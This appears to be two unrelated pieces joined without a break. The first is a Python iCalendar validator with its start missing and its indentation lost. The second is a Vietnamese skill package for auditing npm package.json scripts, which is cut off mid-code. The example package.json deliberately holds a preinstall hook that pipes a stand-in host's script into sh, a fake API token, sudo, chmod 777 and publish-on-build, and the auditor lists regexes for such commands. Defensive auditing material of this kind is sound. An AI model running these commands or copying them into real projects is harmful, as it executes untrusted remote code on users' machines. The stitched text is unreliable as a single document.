def add(self, severity, line, prop, message):
self.items.append({"severity": severity, "line": line, "property": prop, "message": message})
def error(self, line, prop, msg):
self.add("error", line, prop, msg)
def warn(self, line, prop, msg):
self.add("warning", line, prop, msg)
@property
def errors(self):
return [i for i in self.items if i["severity"] == "error"]
@property
def warnings(self):
return [i for i in self.items if i["severity"] == "warning"]
def unfold(raw, rep):
"""Return list of (line_no, logical_line). Checks line endings and length."""
if "\r\n" not in raw and "\n" in raw:
rep.warn(1, None, "Lines end with LF only; RFC 5545 requires CRLF (most clients tolerate LF).")
physical = raw.replace("\r\n", "\n").split("\n")
logical = []
for n, line in enumerate(physical, start=1):
if len(line.encode("utf-8")) > 75:
rep.warn(n, None, f"Line is {len(line.encode('utf-8'))} octets; fold lines longer than 75 octets.")
if line[:1] in (" ", "\t") and logical:
ln, text = logical[-1]
logical[-1] = (ln, text + line[1:])
elif line == "":
continue
else:
logical.append((n, line))
return logical
def split_prop(line):
"""Split 'NAME;PARAM=V:VALUE' into (NAME, {params}, value). Handles quoted params."""
in_q = False
for i, ch in enumerate(line):
if ch == '"':
in_q = not in_q
elif ch == ":" and not in_q:
head, value = line[:i], line[i + 1:]
break
else:
return None
parts = re.split(r';(?=(?:[^"]*"[^"]*")*[^"]*$)', head)
name = parts[0].upper()
params = {}
for p in parts[1:]:
if "=" in p:
k, v = p.split("=", 1)
params[k.upper()] = v.strip('"')
return name, params, value
def parse_dt(value, params):
"""Return (kind, datetime|None) where kind is DATE, UTC, LOCAL, FLOATING or BAD."""
if params.get("VALUE", "").upper() == "DATE" or DATE_RE.match(value):
if not DATE_RE.match(value):
return "BAD", None
try:
return "DATE", dt.datetime.strptime(value, "%Y%m%d")
except ValueError:
return "BAD", None
if not DATETIME_RE.match(value):
return "BAD", None
try:
d = dt.datetime.strptime(value.rstrip("Z"), "%Y%m%dT%H%M%S")
except ValueError:
return "BAD", None
if value.endswith("Z"):
return "UTC", d
return ("LOCAL" if "TZID" in params else "FLOATING"), d
def check_rrule(value, ln, start_kind, rep):
parts = {}
for chunk in value.split(";"):
if "=" not in chunk:
rep.error(ln, "RRULE", f"Malformed part '{chunk}' (expected KEY=VALUE).")
continue
k, v = chunk.split("=", 1)
if k != k.upper():
rep.warn(ln, "RRULE", f"Key '{k}' should be uppercase.")
k = k.upper()
if k in parts:
rep.error(ln, "RRULE", f"Part {k} appears more than once.")
if k not in RRULE_KEYS:
rep.error(ln, "RRULE", f"Unknown part '{k}'.")
parts[k] = v.upper()
freq = parts.get("FREQ")
if not freq:
rep.error(ln, "RRULE", "FREQ is required.")
elif freq not in FREQS:
rep.error(ln, "RRULE", f"Invalid FREQ '{freq}'.")
if "COUNT" in parts and "UNTIL" in parts:
rep.error(ln, "RRULE", "COUNT and UNTIL must not both be present.")
for key in ("COUNT", "INTERVAL"):
if key in parts and not (parts[key].isdigit() and int(parts[key]) > 0):
rep.error(ln, "RRULE", f"{key} must be a positive integer.")
if "BYDAY" in parts:
for d in parts["BYDAY"].split(","):
m = re.match(r"^([+-]?\d{1,2})?(MO|TU|WE|TH|FR|SA|SU)$", d)
if not m:
rep.error(ln, "RRULE", f"Invalid BYDAY value '{d}'.")
elif m.group(1) and freq not in ("MONTHLY", "YEARLY"):
rep.warn(ln, "RRULE", f"BYDAY ordinal '{d}' only makes sense with MONTHLY or YEARLY.")
for key, lo, hi in (("BYMONTH", 1, 12), ("BYMONTHDAY", 1, 31), ("BYHOUR", 0, 23), ("BYMINUTE", 0, 59)):
if key in parts:
for v in parts[key].split(","):
try:
n = int(v)
except ValueError:
rep.error(ln, "RRULE", f"{key} value '{v}' is not an integer.")
continue
ok = lo <= abs(n) <= hi if key == "BYMONTHDAY" else lo <= n <= hi
if not ok:
rep.error(ln, "RRULE", f"{key} value {n} out of range.")
if "WKST" in parts and parts["WKST"] not in DAYS:
rep.error(ln, "RRULE", f"Invalid WKST '{parts['WKST']}'.")
if "UNTIL" in parts:
ukind, _ = parse_dt(parts["UNTIL"], {})
if ukind == "BAD":
rep.error(ln, "RRULE", f"UNTIL '{parts['UNTIL']}' is not a valid DATE or DATE-TIME.")
elif start_kind == "DATE" and ukind != "DATE":
rep.error(ln, "RRULE", "DTSTART is a DATE, so UNTIL must be a DATE too.")
elif start_kind in ("LOCAL", "UTC") and ukind != "UTC":
rep.error(ln, "RRULE", "DTSTART has a TZID or is UTC, so UNTIL must be UTC (ending in Z).")
def validate(text):
rep = Report()
lines = unfold(text, rep)
if not lines:
rep.error(1, None, "File is empty.")
return rep
if lines[0][1].upper() != "BEGIN:VCALENDAR":
rep.error(lines[0][0], None, "File must start with BEGIN:VCALENDAR.")
stack = []
comps = [] # list of dicts: name, line, props: list of (ln, name, params, value)
tzids_defined, tzids_used, uids = set(), [], {}
for ln, line in lines:
parsed = split_prop(line)
if parsed is None:
rep.error(ln, None, f"Not a valid content line (missing ':'): {line[:40]!r}")
continue
name, params, value = parsed
if name == "BEGIN":
comp = {"name": value.upper(), "line": ln, "props": []}
stack.append(comp)
continue
if name == "END":
if not stack:
rep.error(ln, "END", f"END:{value} without matching BEGIN.")
continue
comp = stack.pop()
if comp["name"] != value.upper():
rep.error(ln, "END", f"END:{value} does not match BEGIN:{comp['name']} (line {comp['line']}).")
comps.append(comp)
continue
if not stack:
rep.error(ln, name, "Property outside any component.")
continue
stack[-1]["props"].append((ln, name, params, value))
if "TZID" in params:
tzids_used.append((ln, params["TZID"]))
if name == "TZID" and stack[-1]["name"] == "VTIMEZONE":
tzids_defined.add(value)
for comp in stack:
rep.error(comp["line"], "BEGIN", f"BEGIN:{comp['name']} is never closed.")
for comp in comps:
props = {}
for ln, name, params, value in comp["props"]:
props.setdefault(name, []).append((ln, params, value))
cname = comp["name"]
if cname == "VCALENDAR":
for req in ("VERSION", "PRODID"):
if req not in props:
rep.error(comp["line"], req, f"VCALENDAR is missing required {req}.")
elif len(props[req]) > 1:
rep.error(props[req][1][0], req, f"{req} must appear only once.")
if "VERSION" in props and props["VERSION"][0][2] != "2.0":
rep.error(props["VERSION"][0][0], "VERSION", "VERSION must be 2.0.")
if cname in EVENT_LIKE:
for req in ("UID", "DTSTAMP"):
if req not in props:
rep.error(comp["line"], req, f"{cname} is missing required {req}.")
if cname == "VEVENT" and "DTSTART" not in props:
rep.error(comp["line"], "DTSTART", "VEVENT is missing DTSTART.")
if "UID" in props:
uid = props["UID"][0][2]
if uid in uids:
rep.error(props["UID"][0][0], "UID", f"Duplicate UID '{uid}' (also line {uids[uid]}).")
else:
uids[uid] = props["UID"][0][0]
if "DTSTAMP" in props:
ln, params, value = props["DTSTAMP"][0]
kind, _ = parse_dt(value, params)
if kind != "UTC":
rep.error(ln, "DTSTAMP", "DTSTAMP must be a UTC DATE-TIME ending in Z.")
start_kind, start = None, None
for key in ("DTSTART", "DTEND", "DUE"):
if key not in props:
continue
ln, params, value = props[key][0]
kind, val = parse_dt(value, params)
if kind == "BAD":
rep.error(ln, key, f"Invalid date or date-time value '{value}'.")
continue
if kind == "FLOATING":
rep.warn(ln, key, "Floating time (no Z and no TZID): shows the same wall time in every zone.")
if key == "DTSTART":
start_kind, start = kind, val
elif start is not None:
if (kind == "DATE") != (start_kind == "DATE"):
rep.error(ln, key, f"{key} and DTSTART must both be DATE or both DATE-TIME.")
elif kind == start_kind and val <= start:
rep.error(ln, key, f"{key} must be later than DTSTART.")
if "DTEND" in props and "DURATION" in props:
rep.error(props["DURATION"][0][0], "DURATION", "DTEND and DURATION must not both be present.")
if "DURATION" in props:
ln, _, value = props["DURATION"][0]
if not DURATION_RE.match(value) or value.rstrip("+-") in ("P", "PT"):
rep.error(ln, "DURATION", f"Invalid DURATION '{value}' (e.g. PT1H30M, P1D).")
if "RRULE" in props:
ln, _, value = props["RRULE"][0]
check_rrule(value, ln, start_kind, rep)
if len(props["RRULE"]) > 1:
rep.warn(props["RRULE"][1][0], "RRULE", "Multiple RRULEs are deprecated; many clients use only the first.")
for key in ("EXDATE", "RDATE"):
for ln, params, value in props.get(key, []):
for v in value.split(","):
kind, _ = parse_dt(v, params)
if kind == "BAD":
rep.error(ln, key, f"Invalid value '{v}'.")
elif start_kind and kind != start_kind:
rep.warn(ln, key, f"{key} value type ({kind}) differs from DTSTART ({start_kind}); clients may ignore it.")
if "SEQUENCE" in props and not props["SEQUENCE"][0][2].isdigit():
rep.error(props["SEQUENCE"][0][0], "SEQUENCE", "SEQUENCE must be a non-negative integer.")
for key in ("SUMMARY", "DESCRIPTION", "LOCATION"):
for ln, _, value in props.get(key, []):
if re.search(r"(?<!\\)[,;]", value):
rep.warn(ln, key, "Unescaped ',' or ';' in text; escape as '\\,' and '\\;'.")
if not any(c["name"] in EVENT_LIKE for c in comps):
rep.warn(1, None, "Calendar contains no VEVENT, VTODO, or VJOURNAL.")
for ln, tz in tzids_used:
if tz not in tzids_defined:
rep.warn(ln, "TZID", f"TZID '{tz}' has no VTIMEZONE in this file; strict clients (e.g. Outlook) may misplace it.")
return rep
BROKEN = (
"BEGIN:VCALENDAR\r\nPRODID:-//Test//EN\r\nBEGIN:VEVENT\r\nDTSTAMP:20261015T070000\r\n"
"DTSTART:20261020T100000Z\r\nDTEND:20261020T090000Z\r\nDURATION:PT1H\r\n"
"RRULE:FREQ=WEEKLY;COUNT=5;UNTIL=20261201T000000Z;BYDAY=XX\r\nSUMMARY:Bad, event\r\n"
"END:VEVENT\r\nBEGIN:VEVENT\r\nUID:a@x\r\nDTSTAMP:20261015T070000Z\r\n"
"DTSTART;TZID=Mars/Olympus:20261020T100000\r\nEND:VTODO\r\nEND:VCALENDAR\r\n"
)
GOOD = (
"BEGIN:VCALENDAR\r\nVERSION:2.0\r\nPRODID:-//Test//EN\r\nBEGIN:VEVENT\r\nUID:ok@x\r\n"
"DTSTAMP:20261015T070000Z\r\nDTSTART:20261020T070000Z\r\nDTEND:20261020T080000Z\r\n"
"RRULE:FREQ=MONTHLY;BYDAY=1MO;COUNT=3\r\nSUMMARY:Fine\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n"
)
def self_test():
good = validate(GOOD)
bad = validate(BROKEN)
msgs = " | ".join(i["message"] for i in bad.items)
checks = [
("good file has no errors", not good.errors),
("missing VERSION", "missing required VERSION" in msgs),
("missing UID", "missing required UID" in msgs),
("DTSTAMP not UTC", "DTSTAMP must be a UTC" in msgs),
("DTEND before DTSTART", "must be later than DTSTART" in msgs),
("DTEND with DURATION", "must not both be present" in msgs),
("COUNT with UNTIL", "COUNT and UNTIL" in msgs),
("bad BYDAY", "Invalid BYDAY" in msgs),
("unescaped comma", "Unescaped" in msgs),
("mismatched END", "does not match BEGIN" in msgs),
("unknown TZID warning", "Mars/Olympus" in msgs),
]
failed = 0
for label, ok in checks:
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {label}")
print(f"\n{len(checks) - failed}/{len(checks)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Validate an iCalendar (.ics) file.")
p.add_argument("file", nargs="?", help="Path to .ics file ('-' for stdin)")
p.add_argument("--json", action="store_true", help="Output JSON")
p.add_argument("--self-test", action="store_true", help="Run built-in tests")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
p.error("file is required (or use --self-test)")
try:
if a.file == "-":
text = sys.stdin.read()
else:
with open(a.file, "r", encoding="utf-8", newline="") as fh:
text = fh.read()
except (OSError, UnicodeDecodeError) as exc:
print(f"Cannot read {a.file}: {exc}", file=sys.stderr)
return 2
rep = validate(text)
if a.json:
print(json.dumps({"errors": len(rep.errors), "warnings": len(rep.warnings), "findings": rep.items}, indent=2))
else:
for i in sorted(rep.items, key=lambda x: (x["line"], x["severity"])):
prop = f" {i['property']}" if i["property"] else ""
print(f"line {i['line']:>4} {i['severity'].upper():7}{prop}: {i['message']}")
print(f"\n{len(rep.errors)} error(s), {len(rep.warnings)} warning(s)")
return 1 if rep.errors else 0
if __name__ == "__main__":
sys.exit(main())Kiểm toán phần scripts của tệp package.json trong npm để đảm bảo tính an toàn và rõ ràng: các hook cài đặt rủi ro, lệnh curl truyền thẳng qua pipe vào shell, rm -rf, sudo, thông tin bí mật nhúng trực tiếp, npx không ghim phiên bản, cú pháp shell không tương thích đa nền tảng, các script kiểm thử giữ chỗ, thiếu các script tiêu chuẩn và tên gọi gây nhầm lẫn. Sử dụng khi đánh giá một kho lưu trữ (repo), một gói phụ thuộc (dependency), hoặc một PR thay đổi các script trong package.json. Bao gồm một trình kiểm toán sử dụng thư viện chuẩn Python với các mức độ nghiêm trọng.
---
name: package-json-scripts-auditor
description: Kiểm toán phần scripts của tệp package.json trong npm để đảm bảo tính an toàn và rõ ràng: các hook cài đặt rủi ro, lệnh curl truyền thẳng qua pipe vào shell, rm -rf, sudo, thông tin bí mật nhúng trực tiếp, npx không ghim phiên bản, cú pháp shell không tương thích đa nền tảng, các script kiểm thử giữ chỗ, thiếu các script tiêu chuẩn và tên gọi gây nhầm lẫn. Sử dụng khi đánh giá một kho lưu trữ (repo), một gói phụ thuộc (dependency), hoặc một PR thay đổi các script trong package.json. Bao gồm một trình kiểm toán sử dụng thư viện chuẩn Python với các mức độ nghiêm trọng.
---
# Trình kiểm toán Scripts trong package.json
Bạn đánh giá khối `scripts` trong tệp `package.json` của Node.js và giải thích từng script làm gì, những script nào tiềm ẩn rủi ro, và cách làm cho tập hợp các script trở nên rõ ràng cũng như dễ tương thích đa nền tảng hơn. Bạn phục vụ hai nhóm đối tượng: những người bảo trì đang dọn dẹp dự án của chính họ, và những người đánh giá đang kiểm tra xem một gói phụ thuộc hoặc một PR có chạy bất kỳ lệnh nguy hiểm nào vào thời điểm cài đặt hay không. Bạn không bao giờ tự chạy các script; bạn chỉ đọc chúng.
## Các tệp trong kỹ năng này
- `scripts/audit_scripts.py` - đọc tệp package.json và báo cáo các phát hiện kèm theo mức độ nghiêm trọng (high, medium, low, info) cùng cách khắc phục được đề xuất (chỉ sử dụng thư viện chuẩn của Python 3)
- `references/script-conventions.md` - các tên script tiêu chuẩn, các hook vòng đời (lifecycle hooks), quy ước đặt tên và tính tương thích đa nền tảng
- `references/dangerous-patterns.md` - các mẫu lệnh cần xem xét kỹ hơn, lý do chúng quan trọng và các giải pháp thay thế an toàn hơn
- `templates/audit-report.md` - cấu trúc báo cáo cần trả về
- `examples/package.json` - một ví dụ cố tình làm lộn xộn để thực hành
## Quy trình làm việc
### 1. Thu thập ngữ cảnh
Yêu cầu toàn bộ tệp `package.json` (không chỉ phần `scripts`, vì `name`, `private`, `bin`, `workspaces`, và `packageManager` đều quan trọng), và hỏi xem đây là dự án của chính người dùng hay là một gói của bên thứ ba. Hỏi xem nhóm sử dụng hệ điều hành nào (việc hỗ trợ Windows sẽ làm thay đổi lời khuyên về tính tương thích đa nền tảng).
### 2. Chạy trình kiểm toán
```
python3 scripts/audit_scripts.py path/to/package.json
python3 scripts/audit_scripts.py --json path/to/package.json
python3 scripts/audit_scripts.py --self-test
```
Mã thoát (Exit code) 0 = không có phát hiện mức độ cao (high), 1 = có ít nhất một phát hiện mức độ cao, 2 = lỗi tệp.
### 3. Đánh giá thủ công
Script kiểm toán hoạt động dựa trên mẫu (pattern-based). Bạn cũng hãy tự đọc từng script và kiểm tra:
- Các hook vòng đời (`preinstall`, `install`, `postinstall`, `prepare`) chạy tự động đối với người dùng gói; bất kỳ lệnh gọi mạng hoặc ghi tệp nào bên ngoài dự án tại đó đều là dấu hiệu cảnh báo đỏ.
- Các script gọi những tệp khác (`node scripts/setup.js`, `sh ./build.sh`): hãy yêu cầu xem các tệp đó trước khi kết luận gói là an toàn.
- Việc làm rối mã (obfuscation) (base64, chuỗi hex, `eval`, `node -e` với các câu lệnh một dòng dài) đáng bị nghi ngờ ở mức độ cao.
### 4. Đề xuất
Sử dụng `references/script-conventions.md` và `references/dangerous-patterns.md` để đề xuất các phương án thay thế cụ thể: `rimraf` hoặc `del-cli` thay cho `rm -rf`, `cross-env` thay cho `VAR=value cmd`, ghim phiên bản `npx pkg@1.2.3`, `prepublishOnly` chạy kiểm thử, và đặt tên theo nhóm như `lint:js`, `test:unit`.
### 5. Báo cáo
Điền vào `templates/audit-report.md`: kết luận, bảng các phát hiện, khối `scripts` được viết lại, và các câu hỏi tiếp theo.
## Quy tắc
- Đánh giá mức độ nghiêm trọng theo tác động: bất kỳ thứ gì có thể chạy mã từ xa hoặc xóa tệp bên ngoài dự án khi cài đặt đều ở mức cao (high).
- Không buộc tội tác giả có ý đồ xấu; hãy mô tả hành vi và rủi ro.
- Giữ nguyên tên các script hiện có của người dùng nếu việc đổi tên sẽ làm hỏng CI, và cho biết những tệp CI nào sẽ cần cập nhật nếu bạn đề xuất đổi tên.
- Đề xuất `npm install --ignore-scripts` để kiểm toán các gói không đáng tin cậy, và chỉ đề xuất `npm config set ignore-scripts true` khi đã giải thích rõ các mặt đánh đổi.
FILE:references/dangerous-patterns.md
# Các mẫu Script nguy hiểm và rủi ro
| Mẫu | Ví dụ | Tại sao lại quan trọng | Giải pháp thay thế an toàn hơn | Mức độ nghiêm trọng |
|---|---|---|---|---|
| Script từ xa truyền qua pipe vào shell | `curl -fsSL https://x.sh \| sh` | Chạy bất cứ thứ gì máy chủ trả về, không ghim phiên bản và không được xác minh | Đóng gói trực tiếp script vào dự án (vendor), ghim bằng checksum, hoặc dùng một gói đã xuất bản | high |
| Tải dữ liệu mạng trong các hook cài đặt | `"postinstall": "node download.js"` / `wget` | Chạy trên máy của mọi người dùng vào thời điểm cài đặt | Đóng gói sẵn các tạo phẩm (artifacts) trong gói, hoặc làm cho bước này trở thành tùy chọn (opt-in) | high |
| Xóa đệ quy các đường dẫn rộng | `rm -rf /`, `rm -rf ~`, `rm -rf $DIR/` với biến chưa được đặt giá trị | Có thể xóa sạch dữ liệu bên ngoài dự án | `rimraf dist`, các đường dẫn tương đối rõ ràng | high |
| `sudo` | `sudo npm i -g x` | Leo thang đặc quyền từ một script | Không bao giờ yêu cầu quyền root trong các script; hãy ghi tài liệu hướng dẫn các bước thủ công | high |
| `eval` / các payload được mã hóa | `eval "$(echo ... \| base64 -d)"`, `node -e "...Buffer.from('..','base64')"` | Che giấu những gì thực sự chạy | Các lệnh thuần túy, dễ đọc đặt trong các tệp | high |
| Thông tin bí mật nhúng trực tiếp (Inline secrets) | `API_TOKEN=abc123 node deploy.js` | Rò rỉ trong lịch sử git và nhật ký (logs) CI | Các biến môi trường từ kho lưu trữ bí mật hoặc tệp `.env` không được commit | high |
| Quyền ghi cho mọi người (World-writable) | `chmod 777`, `chmod -R a+w` | Cho phép bất kỳ người dùng nào sửa đổi tệp | Quyền tối thiểu (`chmod +x file`) | medium |
| Bỏ qua các bước kiểm tra an toàn | `git commit --no-verify`, `npm publish --force`, `--unsafe-perm` | Vượt qua các hook và cơ chế bảo vệ | Sửa lỗi kiểm tra đang bị thất bại thay vì bỏ qua | medium |
| `npx` / `dlx` không ghim phiên bản | `npx create-thing` | Tải xuống và chạy phiên bản mới nhất vào thời điểm chạy | `npx create-thing@3.2.1` hoặc thêm vào làm devDependency | medium |
| Cài đặt toàn cục (global) trong các script | `npm i -g typescript` | Làm thay đổi máy của người dùng; gây lệch phiên bản | devDependency + tệp thực thi (bin) cục bộ | medium |
| Các URL HTTP thuần túy | `curl http://...` | Có thể bị can thiệp trong quá trình truyền tải | HTTPS | medium |
| `git push` / `npm publish` trong các hook | `"postbuild": "npm publish"` | Phát hành ngoài ý muốn | Script `release` rõ ràng được chạy bởi CI | medium |
| Cú pháp shell không tương thích đa nền tảng | `NODE_ENV=prod`, `export`, `cp -r` | Bị lỗi trên Windows | `cross-env`, `cpy-cli`, các script Node | low |
| Kiểm thử giữ chỗ (Placeholder test) | `echo "Error: no test specified" && exit 1` | CI thất bại hoặc các bài kiểm thử âm thầm bị thiếu | Trình chạy kiểm thử (test runner) thực sự | low |
| Câu lệnh một dòng (one-liners) rất dài | > 200 ký tự | Khó đánh giá; ẩn chứa rủi ro | Chuyển sang một tệp script riêng | low |
## Mẹo đánh giá
- Đối với các gói của bên thứ ba: kiểm tra bằng lệnh `npm pack <pkg>` và đọc tệp nén tarball, hoặc cài đặt với cờ `--ignore-scripts` trước.
- Lần theo các tham chiếu tệp: `node scripts/postinstall.js` chỉ an toàn tương đương với mức độ an toàn của chính tệp đó.
- Chú ý đến `prepare` trong các gói phụ thuộc git: nó sẽ chạy khi cài đặt từ một URL git.
FILE:references/script-conventions.md
# Quy ước Script trong npm
## Các tên tiêu chuẩn
| Script | Mục đích | Chạy bằng lệnh |
|---|---|---|
| `start` | Chạy ứng dụng ở chế độ production | `npm start` |
| `dev` | Chạy kèm theo dõi thay đổi (watch) / tải lại nóng (hot reload) | `npm run dev` |
| `build` | Tạo đầu ra bản dựng (build output) | `npm run build` |
| `test` | Chạy bộ kiểm thử (mặc định của CI) | `npm test` |
| `lint` | Kiểm tra tĩnh | `npm run lint` |
| `format` | Áp dụng trình định dạng mã | `npm run format` |
| `typecheck` | `tsc --noEmit` hoặc tương tự | `npm run typecheck` |
| `clean` | Xóa các tạo phẩm bản dựng (build artifacts) | `npm run clean` |
Sử dụng dấu hai chấm để nhóm các biến thể: `test:unit`, `test:e2e`, `lint:css`, `build:docs`. Sử dụng `npm-run-all` / `run-p` / `run-s`, hoặc `npm run a && npm run b`, để kết hợp chúng.
## Các hook vòng đời (Lifecycle hooks)
| Hook | Chạy khi | Ghi chú |
|---|---|---|
| `preinstall`, `install`, `postinstall` | Gói của bạn được cài đặt, bao gồm cả khi làm gói phụ thuộc | Chạy trên máy của mọi người dùng. Hãy để trống trừ khi cần biên dịch mã gốc (native code). |
| `prepare` | Sau khi chạy `npm install` cục bộ và trước `npm publish`/`npm pack`; cũng chạy đối với các gói phụ thuộc git | Tốt để dựng (build) hoặc thiết lập các git hook (ví dụ: `husky`). |
| `prepublishOnly` | Chỉ trước khi chạy `npm publish` | Đặt `npm test && npm run build` ở đây. |
| `prepack`, `postpack` | Xung quanh lệnh `npm pack` / publish | |
| `preX` / `postX` | Tự động trước/sau bất kỳ script `X` nào | Có thể gây bất ngờ cho người đọc; nên ưu tiên nối chuỗi lệnh rõ ràng. pnpm mặc định không chạy chúng. |
## Tính tương thích đa nền tảng (Portability)
- `cmd.exe` của Windows không hiểu `VAR=value cmd`, `export`, `rm -rf`, `cp -r`, chạy nền bằng `&`, dấu nháy đơn, hoặc `$VAR`. Hãy sử dụng `cross-env`, `rimraf`, `cpy-cli`, `concurrently`, và các script Node.
- `&&` hoạt động trong cả hai trình shell; `;` không chạy theo cùng một cách trong `cmd.exe`.
- Ưu tiên các tệp thực thi cục bộ (từ `devDependencies`) hơn là các tệp được cài đặt toàn cục; npm sẽ thêm `node_modules/.bin` vào PATH bên trong các script.
## Sự rõ ràng
- Mỗi script chỉ đảm nhận một công việc; chuyển các logic dài (> ~120 ký tự) vào các tệp `scripts/*.js` hoặc `*.mjs`.
- Tránh những tên làm che khuất (shadow) các lệnh npm hoặc trùng lặp lẫn nhau (`install`, `publish`, `test2`).
- Thay thế lệnh mặc định `echo "Error: no test specified" && exit 1` bằng một lệnh kiểm thử thực sự hoặc xóa nó đi.
- Ghi tài liệu cho các script khác thường trong tệp README.
- Đặt `"private": true` cho các ứng dụng không bao giờ được phép xuất bản.
FILE:templates/audit-report.md
# Kiểm toán Scripts trong package.json
**Gói:** `<name>@<version>` | **Chủ sở hữu:** dự án riêng / bên thứ ba | **Riêng tư (Private):** có/không
**Kết luận:** An toàn / Cần thay đổi / Không cài đặt cho đến khi được đánh giá
**Số lượng:** high `<n>`, medium `<n>`, low `<n>`, info `<n>`
## Danh mục Script
| Script | Chức năng (diễn giải dễ hiểu) | Có chạy tự động không? |
|---|---|---|
| `build` | | không |
| `postinstall` | | có, trong mọi lần cài đặt |
## Các phát hiện
| # | Mức độ nghiêm trọng | Script | Mẫu | Tại sao lại quan trọng | Cách khắc phục |
|---|---|---|---|---|---|
| 1 | high | | | | |
## Khối scripts được đề xuất
```json
{
"scripts": {
}
}
```
## Kiểm tra thêm
- Các tệp được tham chiếu bởi các script: `<list>`
- Các tệp CI gọi những script đã được đổi tên: `<list>`
- Các devDependencies cần thêm: `<rimraf, cross-env, ...>`
## Câu hỏi dành cho người bảo trì
1.
FILE:examples/package.json
{
"name": "acme-dashboard",
"version": "0.4.2",
"description": "Internal dashboard (example with deliberately messy scripts for auditing practice)",
"main": "dist/index.js",
"scripts": {
"preinstall": "curl -fsSL http://get.example.com/setup.sh | sh",
"postinstall": "node scripts/fetch-assets.js",
"start": "NODE_ENV=production node dist/index.js",
"dev": "nodemon src/index.ts",
"build": "rm -rf dist && tsc -p .",
"test": "echo \"Error: no test specified\" && exit 1",
"deploy": "API_TOKEN=sk_live_example123 node scripts/deploy.js",
"fix-perms": "chmod -R 777 ./uploads",
"commit": "git add -A && git commit --no-verify -m wip",
"gen": "npx create-acme-widget",
"postbuild": "npm publish",
"setup": "sudo npm install -g typescript"
},
"devDependencies": {
"nodemon": "^3.1.0",
"typescript": "^5.6.0"
}
}
FILE:scripts/audit_scripts.py
#!/usr/bin/env python3
"""Audit the "scripts" section of an npm package.json.
Usage:
python3 audit_scripts.py path/to/package.json [--json]
python3 audit_scripts.py --self-test
Exit codes: 0 = no high findings, 1 = high findings present, 2 = file error.
Pattern-based: always read the scripts and any files they call yourself.
Python 3 standard library only.
"""
import argparse
import json
import re
import sys
INSTALL_HOOKS = {"preinstall", "install", "postinstall", "prepare"}
SEVERITY_ORDER = {"high": 0, "medium": 1, "low": 2, "info": 3}
# (id, regex, severity, message, fix)
PATTERNS = [
("pipe-to-shell", r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba|z|da)?sh\b", "high",
"Downloads a remote script and pipes it into a shell.",
"Vendor the script, verify a checksum, or use a pinned package."),
("broad-rm", r"\brm\s+-[a-z]*r[a-z]*f?[a-z]*\s+(/|~|\$HOME|\$\{?\w+\}?/?)(\s|$|&|;)", "high",
"Recursive delete of a root, home, or variable-based path.",
"Delete an explicit relative path, e.g. `rimraf dist`."),
("sudo", r"(^|[\s;&|])sudo\s", "high",
"Uses sudo inside an npm script.",
"Never require root from scripts; document any manual setup."),
("eval-or-encoded", r"\beval\b|base64\s+(-d|--decode)|Buffer\.from\([^)]*base64", "high",
"Uses eval or decodes an encoded payload, hiding what runs.",
"Replace with plain, readable commands in a script file."),
("inline-secret", r"\b[A-Z0-9_]*(TOKEN|SECRET|PASSWORD|PASSWD|API_KEY|APIKEY|PRIVATE_KEY)[A-Z0-9_]*=(?!\$)\S+", "high",
"Hard-coded secret value in a script.",
"Read secrets from the environment or a secret manager; rotate the exposed value."),
("chmod-777", r"\bchmod\s+(-R\s+)?(0?777|a\+w|o\+w)\b", "medium",
"Makes files world-writable.",
"Use minimal permissions, e.g. `chmod +x bin/cli.js`."),
("skip-checks", r"--no-verify|--force\b|--unsafe-perm|--ignore-engines", "medium",
"Bypasses safety checks or hooks.",
"Fix the underlying failure instead of skipping the check."),
("unpinned-npx", r"\b(npx|pnpm\s+dlx|bunx|yarn\s+dlx)\s+(-y\s+|--yes\s+)?(?!-)(@?[\w./-]+)(?=\s|$)(?<!@latest)", "medium",
"Runs a package via npx/dlx without a pinned version.",
"Pin it (`npx pkg@1.2.3`) or add it to devDependencies."),
("global-install", r"\bnpm\s+(i|install)\s+(-g|--global)\b|\byarn\s+global\s+add\b", "medium",
"Installs packages globally from a script.",
"Add as a devDependency and use the local binary."),
("plain-http", r"http://(?!localhost|127\.0\.0\.1)", "medium",
"Fetches over plain HTTP.",
"Use HTTPS."),
("publish-or-push", r"\bnpm\s+publish\b|\bgit\s+push\b", "medium",
"Publishes or pushes from a script.",
"Keep releases in an explicit `release` script or CI job."),
("non-portable-env", r"(^|&&\s*|;\s*)[A-Z_][A-Z0-9_]*=\S+\s+\S", "low",
"Inline env assignment `VAR=value cmd` does not work in Windows cmd.",
"Use `cross-env VAR=value cmd`."),
("non-portable-cmd", r"(^|[\s;&|])(rm\s+-|cp\s+-r|export\s+\w+=|mv\s)", "low",
"Unix-only shell command.",
"Use rimraf / cpy-cli / a Node script for Windows support."),
]
PLACEHOLDER_TEST = re.compile(r'no test specified', re.I)
NETWORK = re.compile(r"\b(curl|wget|git\s+clone|Invoke-WebRequest)\b|https?://", re.I)
FILE_REF = re.compile(r"\b(?:node|sh|bash|python3?)\s+(\.?/?[\w./-]+\.(?:m?js|cjs|ts|sh|py))")
def audit(pkg):
findings = []
def add(sev, script, rule, msg, fix):
findings.append({"severity": sev, "script": script, "rule": rule, "message": msg, "fix": fix})
scripts = pkg.get("scripts")
if not isinstance(scripts, dict) or not scripts:
add("info", None, "no-scripts", "No scripts section found.", "Add standard scripts such as build, test, lint.")
return findings
for name, cmd in scripts.items():
if not isinstance(cmd, str):
add("medium", name, "not-string", "Script value is not a string.", "Make it a shell command string.")
continue
for rule, rx, sev, msg, fix in PATTERNS:
if re.search(rx, cmd):
add(sev, name, rule, msg, fix)
if name in INSTALL_HOOKS:
if name == "prepare":
add("info", name, "install-hook", "`prepare` runs on local install and for git dependencies.",
"Keep it limited to build or git-hook setup.")
else:
add("medium", name, "install-hook", f"`{name}` runs automatically on every consumer's install.",
"Remove it unless it compiles native code; move setup to an explicit script.")
if NETWORK.search(cmd):
add("high", name, "network-in-install-hook", "Install hook performs network access.",
"Ship assets in the package or make the download opt-in.")
for ref in FILE_REF.findall(cmd):
add("high" if name != "prepare" else "medium", name, "install-hook-runs-file",
f"Install hook executes `{ref}`; its contents decide the real risk.",
f"Read `{ref}` before trusting this package.")
if name == "test" and PLACEHOLDER_TEST.search(cmd):
add("low", name, "placeholder-test", "Default placeholder test script.", "Wire up a real test runner.")
if len(cmd) > 200:
